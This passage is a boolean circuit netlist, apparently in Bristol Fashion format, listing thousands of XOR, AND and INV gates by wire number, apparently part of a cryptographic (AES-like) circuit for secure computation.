1 13615 13616 13566 XOR +2 1 13627 13659 13614 AND +2 1 13589 13541 13625 XOR +2 1 13625 13655 13619 AND +2 1 13625 13670 13610 AND +2 1 13610 13614 13586 XOR +1 1 13586 13564 INV +2 1 13564 13608 13563 XOR +2 1 13563 13602 13559 XOR +2 1 13626 13669 13607 AND +2 1 13607 13559 13562 XOR +2 1 13561 13562 13672 XOR +2 1 13623 13671 13606 AND +2 1 13589 13591 13628 XOR +2 1 13628 13663 13609 AND +2 1 13628 13667 13618 AND +2 1 13618 13619 13587 XOR +2 1 13615 13587 13595 XOR +2 1 13615 13618 13570 XOR +1 1 13570 13567 INV +2 1 13611 13595 13560 XOR +1 1 13560 13557 INV +2 1 13617 13618 13555 XOR +2 1 13616 13595 13554 XOR +2 1 13606 13607 13601 XOR +2 1 13612 13601 13582 XOR +2 1 13582 13559 13558 XOR +2 1 13557 13558 35614 XOR +2 1 13613 13582 13583 XOR +2 1 13583 13554 35617 XOR +2 1 13621 13583 13588 XOR +2 1 13620 13588 13556 XOR +2 1 13555 13556 35615 XOR +2 1 13622 13588 13593 XOR +2 1 13587 13593 35616 XOR +2 1 13593 13566 13673 XOR +2 1 13619 13610 13571 XOR +2 1 35617 35630 8139 XOR +2 1 13617 13609 13573 XOR +2 1 13573 13601 13569 XOR +2 1 13602 13569 13572 XOR +2 1 13571 13572 13675 XOR +2 1 13564 13569 13568 XOR +2 1 13567 13568 13674 XOR +1 1 8139 7884 INV +2 1 7884 32925 7882 XOR +2 1 7884 35627 7885 XOR +2 1 8139 35628 7888 XOR +2 1 7145 7130 6924 XOR +2 1 35430 6924 35339 XOR +2 1 35339 821 33840 XOR +2 1 33845 33840 7448 XOR +1 1 13674 32861 INV +1 1 13675 32862 INV +1 1 13672 32867 INV +2 1 32930 32867 8039 XOR +1 1 13673 32868 INV +2 1 35617 32868 8020 XOR +2 1 32868 32931 8148 XOR +1 1 23269 33021 INV +2 1 32887 33021 7148 XOR +2 1 7148 7126 7016 XOR +2 1 33021 7077 35265 XOR +2 1 7148 7086 7025 XOR +2 1 35265 895 33766 XOR +2 1 7148 7085 6899 XOR +2 1 7084 33021 6876 XOR +2 1 32958 6899 35273 XOR +2 1 35273 887 33774 XOR +2 1 6876 6877 7153 XOR +2 1 7153 7126 35290 XOR +2 1 35290 870 33791 XOR +2 1 33797 33791 7310 XOR +2 1 33774 33780 22898 XOR +2 1 32921 7025 35281 XOR +2 1 35281 879 33782 XOR +2 1 33782 33788 13861 XOR +1 1 23266 33027 INV +2 1 7137 33027 7013 XOR +2 1 7013 7014 35286 XOR +2 1 33027 16595 6936 XOR +2 1 35286 874 33787 XOR +2 1 6935 6936 6934 XOR +2 1 13857 33787 13816 XOR +2 1 33787 13861 13947 XOR +2 1 33782 13816 13946 XOR +2 1 13946 33782 13932 AND +2 1 32964 33027 7132 XOR +2 1 7135 7132 6999 XOR +2 1 7140 7132 7028 XOR +2 1 32892 7028 35278 XOR +2 1 35278 882 33779 XOR +2 1 7132 35395 6954 XOR +1 1 6954 6952 INV +2 1 6952 6953 35270 XOR +2 1 33779 33781 22892 XOR +2 1 22892 22898 22980 XOR +2 1 33779 22898 22983 XOR +2 1 35270 890 33771 XOR +1 1 6934 35271 INV +2 1 35271 889 33772 XOR +2 1 33766 33772 14001 XOR +2 1 33771 14001 14087 XOR +2 1 33770 33772 13997 XOR +2 1 13997 33771 13956 XOR +2 1 33766 13956 14086 XOR +2 1 14086 33766 14072 AND +2 1 32957 6999 35295 XOR +2 1 35295 865 33796 XOR +2 1 33790 33796 7221 XOR +2 1 7215 7221 7304 XOR +2 1 33795 7221 7307 XOR +2 1 33791 7307 7303 XOR +2 1 7307 7303 7290 AND +1 1 23268 33028 INV +2 1 33028 19515 7006 XOR +2 1 7005 7006 35291 XOR +2 1 35291 869 33792 XOR +2 1 33797 33792 7308 XOR +2 1 33791 33792 7231 XOR +2 1 32886 33028 7147 XOR +2 1 7147 7124 7000 XOR +2 1 35408 7000 35267 XOR +2 1 35267 893 33768 XOR +2 1 7231 7304 7302 XOR +2 1 6988 33028 7017 XOR +2 1 7016 7017 7015 XOR +1 1 7015 35266 INV +2 1 35266 894 33767 XOR +2 1 33767 33769 13994 XOR +2 1 33768 13994 13996 XOR +2 1 14001 13996 14077 XOR +2 1 33771 13996 14075 XOR +2 1 33772 13996 14078 XOR +2 1 33767 14087 14083 XOR +2 1 14087 14083 14070 AND +2 1 7147 7125 7023 XOR +2 1 7023 7024 7022 XOR +1 1 7022 35282 INV +2 1 35282 878 33783 XOR +2 1 33783 13947 13943 XOR +2 1 13947 13943 13930 AND +2 1 33783 33784 13872 XOR +2 1 33783 33785 13854 XOR +2 1 33784 13854 13856 XOR +2 1 13861 13856 13937 XOR +2 1 33788 13856 13938 XOR +2 1 33768 33770 14091 XOR +2 1 33767 33768 14012 XOR +2 1 33787 13856 13935 XOR +2 1 33769 33768 13971 XOR +1 1 7083 33233 INV +2 1 33233 35448 6904 XOR +2 1 6904 6905 35352 XOR +2 1 35352 808 33853 XOR +2 1 33851 33853 7495 XOR +2 1 7495 7501 7584 XOR +2 1 33850 33853 7589 XOR +2 1 7511 7584 7582 XOR +2 1 7495 7591 7576 XOR +2 1 7589 7511 7585 XOR +2 1 7494 7589 7581 XOR +2 1 33846 7581 7580 XOR +2 1 7581 7585 7574 AND +2 1 7574 7497 7500 XOR +2 1 33853 33848 7588 XOR +2 1 7497 7495 7457 XOR +2 1 7494 7457 7579 XOR +2 1 7582 7580 7573 AND +2 1 7584 7577 7569 AND +2 1 7591 7576 7567 AND +2 1 7567 7573 7518 XOR +2 1 7588 7579 7566 AND +2 1 7566 7572 7523 XOR +2 1 7523 7495 7510 XOR +2 1 7518 7510 7562 XOR +2 1 7566 7569 7519 XOR +2 1 7567 7519 7513 XOR +2 1 7570 7513 7469 XOR +2 1 33847 7469 7557 XOR +2 1 33853 33847 7590 XOR +2 1 33233 33008 6927 XOR +2 1 6926 6927 6925 XOR +1 1 6925 35338 INV +2 1 35338 822 33839 XOR +2 1 33839 33840 7371 XOR +2 1 7371 7444 7442 XOR +2 1 33839 7447 7443 XOR +2 1 33845 33839 7450 XOR +2 1 7447 7443 7430 AND +2 1 33233 35432 6921 XOR +2 1 33233 35431 6923 XOR +2 1 6922 6923 35340 XOR +2 1 35340 820 33841 XOR +2 1 33841 33840 7331 XOR +2 1 33839 33841 7354 XOR +2 1 33840 7354 7356 XOR +2 1 33844 7356 7438 XOR +2 1 33843 7356 7435 XOR +2 1 7361 7356 7437 XOR +2 1 7450 7435 7431 AND +2 1 7431 7355 7359 XOR +2 1 7444 7437 7429 AND +2 1 6920 6921 35341 XOR +2 1 35341 819 33842 XOR +2 1 33842 33844 7357 XOR +2 1 33842 33845 7449 XOR +2 1 7354 7449 7441 XOR +2 1 33838 7441 7440 XOR +2 1 7449 7371 7445 XOR +2 1 33840 33842 7451 XOR +2 1 7355 7451 7436 XOR +2 1 7451 7436 7427 AND +2 1 7449 7438 7428 AND +2 1 7428 7356 7358 XOR +2 1 7427 7428 7330 XOR +2 1 7330 7331 7377 XOR +2 1 7377 7359 7376 XOR +2 1 7430 7376 7424 XOR +2 1 7441 7445 7434 AND +2 1 7434 7357 7360 XOR +2 1 7360 7358 7364 XOR +2 1 33845 7364 7369 XOR +2 1 7357 7355 7317 XOR +2 1 7442 7440 7433 AND +2 1 7427 7433 7378 XOR +2 1 7378 7369 7425 XOR +2 1 7425 7424 7421 AND +2 1 7354 7317 7439 XOR +2 1 7448 7439 7426 AND +2 1 7426 7429 7379 XOR +2 1 7359 7379 7333 XOR +2 1 7333 7358 7423 XOR +2 1 7421 7423 7420 XOR +2 1 7427 7379 7373 XOR +2 1 7430 7373 7329 XOR +2 1 33839 7329 7417 XOR +2 1 7357 33843 7316 XOR +2 1 33838 7316 7446 XOR +2 1 7446 33838 7432 AND +2 1 7426 7432 7383 XOR +2 1 7364 7383 7332 XOR +2 1 7383 7355 7370 XOR +2 1 7378 7370 7422 XOR +2 1 33843 7332 7375 XOR +2 1 7421 7375 7416 XOR +2 1 7422 7420 7419 AND +2 1 7419 7375 7418 XOR +2 1 7418 7437 7397 AND +2 1 7416 7417 7415 AND +2 1 7415 7423 7414 XOR +2 1 7421 7415 7413 XOR +2 1 7415 7373 7328 XOR +2 1 7423 7413 7412 AND +2 1 7412 7420 7410 XOR +2 1 7412 7430 7382 XOR +2 1 7382 7376 7404 XOR +2 1 33839 7382 7365 XOR +2 1 7365 7328 7411 XOR +2 1 7418 7410 7409 AND +2 1 7409 7378 7368 XOR +2 1 7368 7370 7408 XOR +2 1 7414 7446 7391 AND +2 1 7404 7445 7393 AND +2 1 7411 7442 7392 AND +2 1 7419 7369 7321 XOR +2 1 7368 7321 7405 XOR +2 1 7405 7435 7399 AND +2 1 7411 7440 7401 AND +2 1 7405 7450 7390 AND +2 1 7399 7390 7351 XOR +2 1 7408 7443 7389 AND +2 1 7397 7389 7353 XOR +2 1 7408 7447 7398 AND +2 1 7397 7398 7335 XOR +2 1 7398 7399 7384 XOR +2 1 7414 33838 7400 AND +2 1 7418 7444 7388 AND +2 1 7404 7441 7402 AND +2 1 7400 7402 7381 XOR +2 1 7409 7433 7326 XOR +2 1 7415 7432 7327 XOR +2 1 7327 7429 7322 XOR +2 1 7365 7326 7318 XOR +2 1 7355 7318 7325 XOR +2 1 7322 7325 7407 XOR +2 1 7407 7448 7385 AND +2 1 7419 7431 7324 XOR +2 1 7324 7360 7320 XOR +2 1 33843 7320 7319 XOR +2 1 33845 7320 7323 XOR +2 1 7322 7323 7406 XOR +2 1 7406 7438 7396 AND +2 1 7396 7385 7345 XOR +1 1 7345 7341 INV +2 1 7406 7449 7387 AND +2 1 7407 7439 7394 AND +2 1 7390 7394 7366 XOR +1 1 7366 7344 INV +2 1 7344 7388 7343 XOR +2 1 7343 7381 7339 XOR +2 1 7387 7339 7342 XOR +2 1 7341 7342 7452 XOR +1 1 7452 35601 INV +2 1 32959 35601 8185 XOR +2 1 7318 7319 7403 XOR +2 1 7403 7436 7395 AND +2 1 7395 7384 7374 XOR +2 1 7391 7374 7340 XOR +1 1 7340 7337 INV +2 1 7396 7374 7334 XOR +2 1 7395 7398 7350 XOR +1 1 7350 7347 INV +2 1 7395 7396 7346 XOR +2 1 7403 7451 7386 AND +2 1 7386 7387 7380 XOR +2 1 7353 7380 7349 XOR +2 1 7381 7349 7352 XOR +2 1 7351 7352 7455 XOR +2 1 7344 7349 7348 XOR +2 1 7347 7348 7454 XOR +2 1 7392 7380 7362 XOR +2 1 7362 7339 7338 XOR +2 1 7337 7338 35598 XOR +2 1 7393 7362 7363 XOR +2 1 7363 7334 35603 XOR +2 1 7401 7363 7367 XOR +2 1 7400 7367 7336 XOR +2 1 7402 7367 7372 XOR +2 1 7335 7336 35599 XOR +2 1 7372 7346 7453 XOR +2 1 7384 7372 35600 XOR +2 1 35596 35600 8188 XOR +1 1 7453 35602 INV +2 1 35595 35599 8197 XOR +1 1 8197 8078 INV +2 1 32960 35602 8183 XOR +2 1 35597 35603 8133 XOR +2 1 8133 35595 7921 XOR +2 1 7590 7575 7571 AND +2 1 7571 7495 7499 XOR +2 1 7499 7519 7473 XOR +2 1 7589 7578 7568 AND +2 1 7568 7496 7498 XOR +2 1 7500 7498 7504 XOR +2 1 33853 7504 7509 XOR +2 1 7518 7509 7565 XOR +2 1 7473 7498 7563 XOR +2 1 7567 7568 7470 XOR +2 1 7504 7523 7472 XOR +2 1 33851 7472 7515 XOR +2 1 7470 7471 7517 XOR +2 1 7517 7499 7516 XOR +2 1 7570 7516 7564 XOR +1 1 7455 32791 INV +1 1 7454 32798 INV +2 1 35594 35598 7922 XOR +2 1 7921 7922 8202 XOR +2 1 7565 7564 7561 AND +2 1 7561 7563 7560 XOR +2 1 7561 7515 7556 XOR +2 1 7562 7560 7559 AND +2 1 7559 7515 7558 XOR +2 1 7559 7509 7461 XOR +2 1 7559 7571 7464 XOR +2 1 7464 7500 7460 XOR +2 1 33851 7460 7459 XOR +2 1 33853 7460 7463 XOR +2 1 7558 7584 7528 AND +2 1 7556 7557 7555 AND +2 1 7555 7563 7554 XOR +2 1 7561 7555 7553 XOR +2 1 7555 7513 7468 XOR +2 1 7555 7572 7467 XOR +2 1 7467 7569 7462 XOR +2 1 7462 7463 7546 XOR +2 1 7554 33846 7540 AND +2 1 7546 7589 7527 AND +2 1 7563 7553 7552 AND +2 1 7552 7560 7550 XOR +2 1 7552 7570 7522 XOR +2 1 33847 7522 7505 XOR +2 1 7505 7468 7551 XOR +2 1 7522 7516 7544 XOR +2 1 7544 7581 7542 AND +2 1 7540 7542 7521 XOR +2 1 7558 7550 7549 AND +2 1 7549 7518 7508 XOR +2 1 7508 7510 7548 XOR +2 1 7549 7573 7466 XOR +2 1 7505 7466 7458 XOR +2 1 7495 7458 7465 XOR +2 1 7462 7465 7547 XOR +2 1 7458 7459 7543 XOR +2 1 7508 7461 7545 XOR +2 1 7543 7576 7535 AND +2 1 7551 7580 7541 AND +2 1 7554 7586 7531 AND +2 1 7545 7575 7539 AND +2 1 7547 7579 7534 AND +2 1 7551 7582 7532 AND +2 1 7548 7587 7538 AND +2 1 7535 7538 7490 XOR +1 1 7490 7487 INV +2 1 7538 7539 7524 XOR +2 1 7535 7524 7514 XOR +2 1 7531 7514 7480 XOR +1 1 7480 7477 INV +2 1 7558 7577 7537 AND +2 1 7537 7538 7475 XOR +2 1 7546 7578 7536 AND +2 1 7536 7514 7474 XOR +2 1 7535 7536 7486 XOR +2 1 7544 7585 7533 AND +2 1 7545 7590 7530 AND +2 1 7539 7530 7491 XOR +2 1 7530 7534 7506 XOR +1 1 7506 7484 INV +2 1 7484 7528 7483 XOR +2 1 7483 7521 7479 XOR +2 1 7527 7479 7482 XOR +2 1 7548 7583 7529 AND +2 1 7537 7529 7493 XOR +2 1 7543 7591 7526 AND +2 1 7526 7527 7520 XOR +2 1 7532 7520 7502 XOR +2 1 7533 7502 7503 XOR +2 1 7541 7503 7507 XOR +2 1 7542 7507 7512 XOR +2 1 7512 7486 7593 XOR +2 1 7524 7512 35661 XOR +2 1 7540 7507 7476 XOR +2 1 7502 7479 7478 XOR +2 1 7477 7478 35659 XOR +2 1 7503 7474 35662 XOR +2 1 35658 35662 8141 XOR +2 1 7475 7476 35660 XOR +2 1 35661 35660 7933 XOR +2 1 7493 7520 7489 XOR +2 1 7484 7489 7488 XOR +2 1 7487 7488 7594 XOR +2 1 35656 35660 8146 XOR +2 1 7521 7489 7492 XOR +2 1 7491 7492 7595 XOR +2 1 7547 7588 7525 AND +2 1 7536 7525 7485 XOR +1 1 7485 7481 INV +2 1 7481 7482 7592 XOR +2 1 8141 35659 7878 XOR +2 1 7878 7879 8220 XOR +1 1 7593 32795 INV +2 1 32795 32923 8093 XOR +1 1 7594 32796 INV +2 1 32796 32924 8100 XOR +1 1 7595 32797 INV +2 1 32797 32917 7877 XOR +1 1 7592 32802 INV +2 1 32795 32802 8081 XOR +2 1 32922 32802 8151 XOR +1 1 8151 8122 INV +1 1 6592 33240 INV +2 1 33240 35214 6487 XOR +2 1 33240 35213 6490 XOR +2 1 6489 6490 35107 XOR +2 1 35107 980 33681 XOR +2 1 33240 32900 6494 XOR +2 1 6486 6487 35108 XOR +2 1 35108 979 33682 XOR +2 1 6493 6494 6492 XOR +1 1 6492 35105 INV +2 1 35105 982 33679 XOR +2 1 33679 33681 31843 XOR +2 1 33680 31843 31845 XOR +2 1 33684 31845 31926 XOR +2 1 33683 31845 31923 XOR +2 1 31850 31845 31925 XOR +2 1 33682 33684 31846 XOR +2 1 33679 31935 31931 XOR +2 1 33682 33685 31937 XOR +2 1 31843 31937 31929 XOR +2 1 33678 31929 31928 XOR +2 1 33679 33680 31860 XOR +2 1 31860 31932 31930 XOR +2 1 31937 31860 31933 XOR +2 1 33680 33682 31939 XOR +2 1 31844 31939 31924 XOR +2 1 33681 33680 31820 XOR +2 1 31846 31844 31806 XOR +2 1 31843 31806 31927 XOR +2 1 31846 33683 31805 XOR +2 1 33678 31805 31934 XOR +2 1 33685 33679 31938 XOR +2 1 31929 31933 31922 AND +2 1 31922 31846 31849 XOR +2 1 31930 31928 31921 AND +2 1 31934 33678 31920 AND +2 1 31938 31923 31919 AND +2 1 31919 31844 31848 XOR +2 1 31935 31931 31918 AND +2 1 31932 31925 31917 AND +2 1 31937 31926 31916 AND +2 1 31916 31845 31847 XOR +2 1 31849 31847 31853 XOR +2 1 33685 31853 31858 XOR +2 1 31939 31924 31915 AND +2 1 31915 31921 31867 XOR +2 1 31867 31858 31913 XOR +2 1 31915 31916 31819 XOR +2 1 31819 31820 31866 XOR +2 1 31866 31848 31865 XOR +2 1 31918 31865 31912 XOR +2 1 31936 31927 31914 AND +2 1 31914 31917 31868 XOR +2 1 31914 31920 31872 XOR +2 1 31872 31844 31859 XOR +2 1 31867 31859 31910 XOR +2 1 31915 31868 31862 XOR +2 1 31848 31868 31822 XOR +2 1 31822 31847 31911 XOR +2 1 31853 31872 31821 XOR +2 1 33683 31821 31864 XOR +2 1 31918 31862 31818 XOR +2 1 33679 31818 31905 XOR +2 1 31913 31912 31909 AND +2 1 31909 31864 31904 XOR +2 1 31909 31911 31908 XOR +2 1 31910 31908 31907 AND +2 1 31907 31864 31906 XOR +2 1 31907 31919 31813 XOR +2 1 31813 31849 31809 XOR +2 1 33685 31809 31812 XOR +2 1 31907 31858 31810 XOR +2 1 33683 31809 31808 XOR +2 1 31904 31905 31903 AND +2 1 31903 31911 31902 XOR +2 1 31909 31903 31901 XOR +2 1 31903 31862 31817 XOR +2 1 31903 31920 31816 XOR +2 1 31816 31917 31811 XOR +2 1 31811 31812 31894 XOR +2 1 31911 31901 31900 AND +2 1 31900 31908 31898 XOR +2 1 31900 31918 31871 XOR +2 1 31871 31865 31892 XOR +2 1 33679 31871 31854 XOR +2 1 31854 31817 31899 XOR +2 1 31906 31898 31897 AND +2 1 31897 31867 31857 XOR +2 1 31857 31859 31896 XOR +2 1 31897 31921 31815 XOR +2 1 31854 31815 31807 XOR +2 1 31844 31807 31814 XOR +2 1 31811 31814 31895 XOR +2 1 31857 31810 31893 XOR +2 1 31807 31808 31891 XOR +2 1 31892 31929 31890 AND +2 1 31899 31928 31889 AND +2 1 31902 33678 31888 AND +2 1 31888 31890 31870 XOR +2 1 31893 31923 31887 AND +2 1 31896 31935 31886 AND +2 1 31906 31925 31885 AND +2 1 31885 31886 31824 XOR +2 1 31894 31926 31884 AND +2 1 31891 31924 31883 AND +2 1 31883 31886 31839 XOR +1 1 31839 31836 INV +2 1 31883 31884 31835 XOR +2 1 31895 31927 31882 AND +2 1 31892 31933 31881 AND +2 1 31899 31930 31880 AND +2 1 31902 31934 31879 AND +2 1 31893 31938 31878 AND +2 1 31878 31882 31855 XOR +2 1 31887 31878 31840 XOR +1 1 31855 31833 INV +2 1 31896 31931 31877 AND +2 1 31885 31877 31842 XOR +2 1 31906 31932 31876 AND +2 1 31833 31876 31832 XOR +2 1 31832 31870 31828 XOR +2 1 31894 31937 31875 AND +2 1 31875 31828 31831 XOR +2 1 31891 31939 31874 AND +2 1 31874 31875 31869 XOR +2 1 31880 31869 31851 XOR +2 1 31881 31851 31852 XOR +2 1 31889 31852 31856 XOR +2 1 31890 31856 31861 XOR +2 1 31842 31869 31838 XOR +2 1 31870 31838 31841 XOR +2 1 31840 31841 31943 XOR +2 1 31833 31838 31837 XOR +2 1 31836 31837 31942 XOR +2 1 31861 31835 31941 XOR +2 1 31851 31828 31827 XOR +2 1 31888 31856 31825 XOR +2 1 31824 31825 35455 XOR +2 1 35455 35459 7098 XOR +2 1 7166 7098 35364 XOR +2 1 35364 796 33865 XOR +2 1 7098 7096 7037 XOR +2 1 7037 7038 7036 XOR +1 1 7036 35388 INV +2 1 35388 772 33889 XOR +2 1 35455 6883 6882 XOR +2 1 31895 31936 31873 AND +2 1 31884 31873 31834 XOR +1 1 31834 31830 INV +2 1 31830 31831 31940 XOR +2 1 31886 31887 32726 XOR +2 1 31883 32726 31863 XOR +2 1 31884 31863 31823 XOR +2 1 31879 31863 31829 XOR +1 1 31829 31826 INV +2 1 31826 31827 35454 XOR +2 1 35449 35454 7118 XOR +2 1 7118 7104 7063 XOR +1 1 7063 7061 INV +2 1 7118 35462 7051 XOR +2 1 7118 7108 7039 XOR +2 1 35455 35454 6832 XOR +2 1 31852 31823 35457 XOR +2 1 35457 14649 7070 XOR +2 1 35457 35461 7093 XOR +2 1 35453 35457 7079 XOR +1 1 7079 7174 INV +2 1 7174 32890 7067 XOR +2 1 7174 35459 7062 XOR +2 1 7061 7062 35372 XOR +2 1 35372 788 33873 XOR +2 1 7093 35464 7050 XOR +2 1 7079 35465 7044 XOR +2 1 7069 7070 35368 XOR +2 1 7093 32991 6829 XOR +2 1 7174 35450 6881 XOR +2 1 6881 6882 7151 XOR +2 1 7151 7095 35373 XOR +2 1 35373 787 33874 XOR +2 1 7093 35458 6831 XOR +2 1 6831 6832 7172 XOR +2 1 7172 7104 35380 XOR +2 1 35380 780 33881 XOR +2 1 35368 792 33869 XOR +2 1 7101 7079 7032 XOR +2 1 35461 7032 35392 XOR +2 1 35392 768 33893 XOR +2 1 7128 7079 7068 XOR +2 1 35458 7039 35387 XOR +2 1 35387 773 33888 XOR +2 1 33893 33888 27177 XOR +2 1 33889 33888 27060 XOR +2 1 32991 35454 6887 XOR +2 1 6886 6887 35363 XOR +2 1 35363 797 33864 XOR +2 1 33869 33864 7728 XOR +2 1 33865 33864 7611 XOR +2 1 32726 31861 35456 XOR +2 1 35451 35456 7144 XOR +2 1 7144 7113 7060 XOR +2 1 32884 7060 35374 XOR +2 1 35374 786 33875 XOR +2 1 7090 35456 7076 XOR +2 1 7075 7076 35365 XOR +2 1 35365 795 33866 XOR +2 1 33864 33866 7731 XOR +2 1 33866 33869 7729 XOR +2 1 7144 7098 7049 XOR +2 1 7049 7050 35381 XOR +2 1 35381 779 33882 XOR +2 1 7150 7144 35389 XOR +2 1 35389 771 33890 XOR +2 1 33890 33893 27178 XOR +2 1 33888 33890 27180 XOR +2 1 32891 7068 35369 XOR +2 1 35369 791 33870 XOR +1 1 31942 33217 INV +2 1 32890 33217 7133 XOR +2 1 7133 7096 7064 XOR +2 1 35449 7064 35371 XOR +2 1 35371 789 33872 XOR +2 1 32878 33217 7052 XOR +2 1 7051 7052 35379 XOR +2 1 35379 781 33880 XOR +1 1 7133 7042 INV +2 1 7042 7128 7040 XOR +2 1 7040 7041 35386 XOR +2 1 35386 774 33887 XOR +2 1 33872 33874 7871 XOR +2 1 32992 33217 6844 XOR +2 1 6843 6844 7167 XOR +2 1 7167 7108 35362 XOR +2 1 35362 798 33863 XOR +2 1 33863 33864 7651 XOR +2 1 33869 33863 7730 XOR +2 1 7729 7651 7725 XOR +2 1 33873 33872 7751 XOR +2 1 33880 33882 24383 XOR +2 1 33881 33880 24263 XOR +2 1 33887 33889 27083 XOR +2 1 33888 27083 27085 XOR +2 1 27083 27178 27170 XOR +2 1 33887 33888 27100 XOR +2 1 27178 27100 27174 XOR +2 1 33893 33887 27179 XOR +2 1 27170 27174 27163 AND +2 1 33863 33865 7634 XOR +2 1 7634 7729 7721 XOR +2 1 7721 7725 7714 AND +2 1 33864 7634 7636 XOR +1 1 31943 33218 INV +2 1 32891 33218 7141 XOR +2 1 7141 7108 7066 XOR +2 1 7066 7067 7065 XOR +1 1 7065 35370 INV +2 1 7141 7093 7053 XOR +2 1 32992 7053 35377 XOR +2 1 35377 783 33878 XOR +2 1 7141 7078 7043 XOR +2 1 32879 7043 35385 XOR +2 1 33218 6888 35361 XOR +2 1 35361 799 33862 XOR +2 1 32879 33218 6830 XOR +2 1 6829 6830 7173 XOR +2 1 7173 7133 35378 XOR +2 1 35378 782 33879 XOR +2 1 33879 33881 24286 XOR +2 1 33880 24286 24288 XOR +2 1 33879 33880 24303 XOR +2 1 33862 7721 7720 XOR +2 1 35370 790 33871 XOR +2 1 33871 33873 7774 XOR +2 1 33872 7774 7776 XOR +2 1 33875 7776 7855 XOR +2 1 33871 33872 7791 XOR +2 1 35385 775 33886 XOR +2 1 33886 27170 27169 XOR +1 1 31940 33223 INV +2 1 33223 32884 7103 XOR +1 1 7103 7074 INV +2 1 7074 32989 7072 XOR +2 1 7072 7073 35366 XOR +2 1 35366 794 33867 XOR +2 1 33867 7636 7715 XOR +2 1 7730 7715 7711 AND +2 1 33223 35456 7048 XOR +2 1 7047 7048 35382 XOR +2 1 35382 778 33883 XOR +2 1 7101 33223 7056 XOR +2 1 7056 7057 7055 XOR +1 1 7055 35375 INV +2 1 35375 785 33876 XOR +2 1 33870 33876 7781 XOR +2 1 33876 7776 7858 XOR +2 1 7781 7776 7857 XOR +2 1 33875 7781 7867 XOR +2 1 33871 7867 7863 XOR +2 1 7867 7863 7850 AND +2 1 7103 7095 7035 XOR +2 1 32889 7035 35390 XOR +2 1 35390 770 33891 XOR +2 1 33867 33869 7635 XOR +2 1 7711 7635 7639 XOR +2 1 33874 33876 7777 XOR +2 1 33883 24288 24367 XOR +2 1 7635 7731 7716 XOR +2 1 7731 7716 7707 AND +2 1 33891 27085 27164 XOR +2 1 33891 33893 27084 XOR +2 1 27084 27180 27165 XOR +2 1 27179 27164 27160 AND +2 1 27160 27084 27088 XOR +2 1 27180 27165 27156 AND +2 1 7777 33875 7736 XOR +2 1 33870 7736 7866 XOR +2 1 7866 33870 7852 AND +1 1 31941 33224 INV +2 1 35452 33224 7143 XOR +2 1 7143 7078 7054 XOR +2 1 33224 7071 35367 XOR +2 1 35367 793 33868 XOR +2 1 33862 33868 7641 XOR +2 1 7635 7641 7724 XOR +2 1 33867 7641 7727 XOR +2 1 33863 7727 7723 XOR +2 1 7727 7723 7710 AND +2 1 7651 7724 7722 XOR +2 1 7722 7720 7713 AND +2 1 33868 7636 7718 XOR +2 1 7729 7718 7708 AND +2 1 7707 7708 7610 XOR +2 1 7610 7611 7657 XOR +2 1 7657 7639 7656 XOR +2 1 32877 33224 7045 XOR +2 1 7710 7656 7704 XOR +2 1 7143 7103 7046 XOR +2 1 35453 7054 35376 XOR +2 1 33866 33868 7637 XOR +2 1 7714 7637 7640 XOR +2 1 7637 7635 7597 XOR +2 1 7634 7597 7719 XOR +2 1 7728 7719 7706 AND +2 1 7637 33867 7596 XOR +2 1 33862 7596 7726 XOR +2 1 7726 33862 7712 AND +2 1 32990 7046 35383 XOR +2 1 35383 777 33884 XOR +2 1 7143 32989 7033 XOR +2 1 7033 7034 35391 XOR +2 1 35391 769 33892 XOR +2 1 7044 7045 35384 XOR +2 1 35384 776 33885 XOR +2 1 7708 7636 7638 XOR +2 1 7640 7638 7644 XOR +2 1 33869 7644 7649 XOR +2 1 33884 24288 24370 XOR +2 1 33883 33885 24287 XOR +2 1 24287 24383 24368 XOR +2 1 33882 33884 24289 XOR +2 1 33878 33884 24293 XOR +2 1 24293 24288 24369 XOR +2 1 33882 33885 24381 XOR +2 1 24381 24303 24377 XOR +2 1 24287 24293 24376 XOR +2 1 24303 24376 24374 XOR +2 1 24286 24381 24373 XOR +2 1 33878 24373 24372 XOR +2 1 33883 24293 24379 XOR +2 1 33879 24379 24375 XOR +2 1 24289 24287 24249 XOR +2 1 24286 24249 24371 XOR +2 1 24289 33883 24248 XOR +2 1 33878 24248 24378 XOR +2 1 33885 33879 24382 XOR +2 1 33885 33880 24380 XOR +2 1 24373 24377 24366 AND +2 1 24366 24289 24292 XOR +2 1 24374 24372 24365 AND +2 1 24378 33878 24364 AND +2 1 24382 24367 24363 AND +2 1 24363 24287 24291 XOR +2 1 24379 24375 24362 AND +2 1 24376 24369 24361 AND +2 1 24381 24370 24360 AND +2 1 24360 24288 24290 XOR +2 1 24292 24290 24296 XOR +2 1 33885 24296 24301 XOR +2 1 24383 24368 24359 AND +2 1 24359 24365 24310 XOR +2 1 24310 24301 24357 XOR +2 1 24359 24360 24262 XOR +2 1 24262 24263 24309 XOR +2 1 24309 24291 24308 XOR +2 1 24362 24308 24356 XOR +2 1 24380 24371 24358 AND +2 1 24358 24361 24311 XOR +2 1 24358 24364 24315 XOR +2 1 24315 24287 24302 XOR +2 1 24310 24302 24354 XOR +2 1 24359 24311 24305 XOR +2 1 24291 24311 24265 XOR +2 1 24265 24290 24355 XOR +2 1 24296 24315 24264 XOR +2 1 33883 24264 24307 XOR +2 1 24362 24305 24261 XOR +2 1 33879 24261 24349 XOR +2 1 24357 24356 24353 AND +2 1 24353 24307 24348 XOR +2 1 24353 24355 24352 XOR +2 1 24354 24352 24351 AND +2 1 24351 24307 24350 XOR +2 1 24351 24363 24256 XOR +2 1 24256 24292 24252 XOR +2 1 33885 24252 24255 XOR +2 1 24351 24301 24253 XOR +2 1 33883 24252 24251 XOR +2 1 24348 24349 24347 AND +2 1 24347 24355 24346 XOR +2 1 24353 24347 24345 XOR +2 1 24347 24305 24260 XOR +2 1 24347 24364 24259 XOR +2 1 24259 24361 24254 XOR +2 1 24254 24255 24338 XOR +2 1 24355 24345 24344 AND +2 1 24344 24352 24342 XOR +2 1 24344 24362 24314 XOR +2 1 24314 24308 24336 XOR +2 1 33879 24314 24297 XOR +2 1 24297 24260 24343 XOR +2 1 24350 24342 24341 AND +2 1 24341 24310 24300 XOR +2 1 24300 24302 24340 XOR +2 1 24341 24365 24258 XOR +2 1 24297 24258 24250 XOR +2 1 24287 24250 24257 XOR +2 1 24254 24257 24339 XOR +2 1 24300 24253 24337 XOR +2 1 24250 24251 24335 XOR +2 1 24336 24373 24334 AND +2 1 24343 24372 24333 AND +2 1 24346 33878 24332 AND +2 1 24332 24334 24313 XOR +2 1 24337 24367 24331 AND +2 1 24340 24379 24330 AND +2 1 24330 24331 24316 XOR +2 1 24350 24369 24329 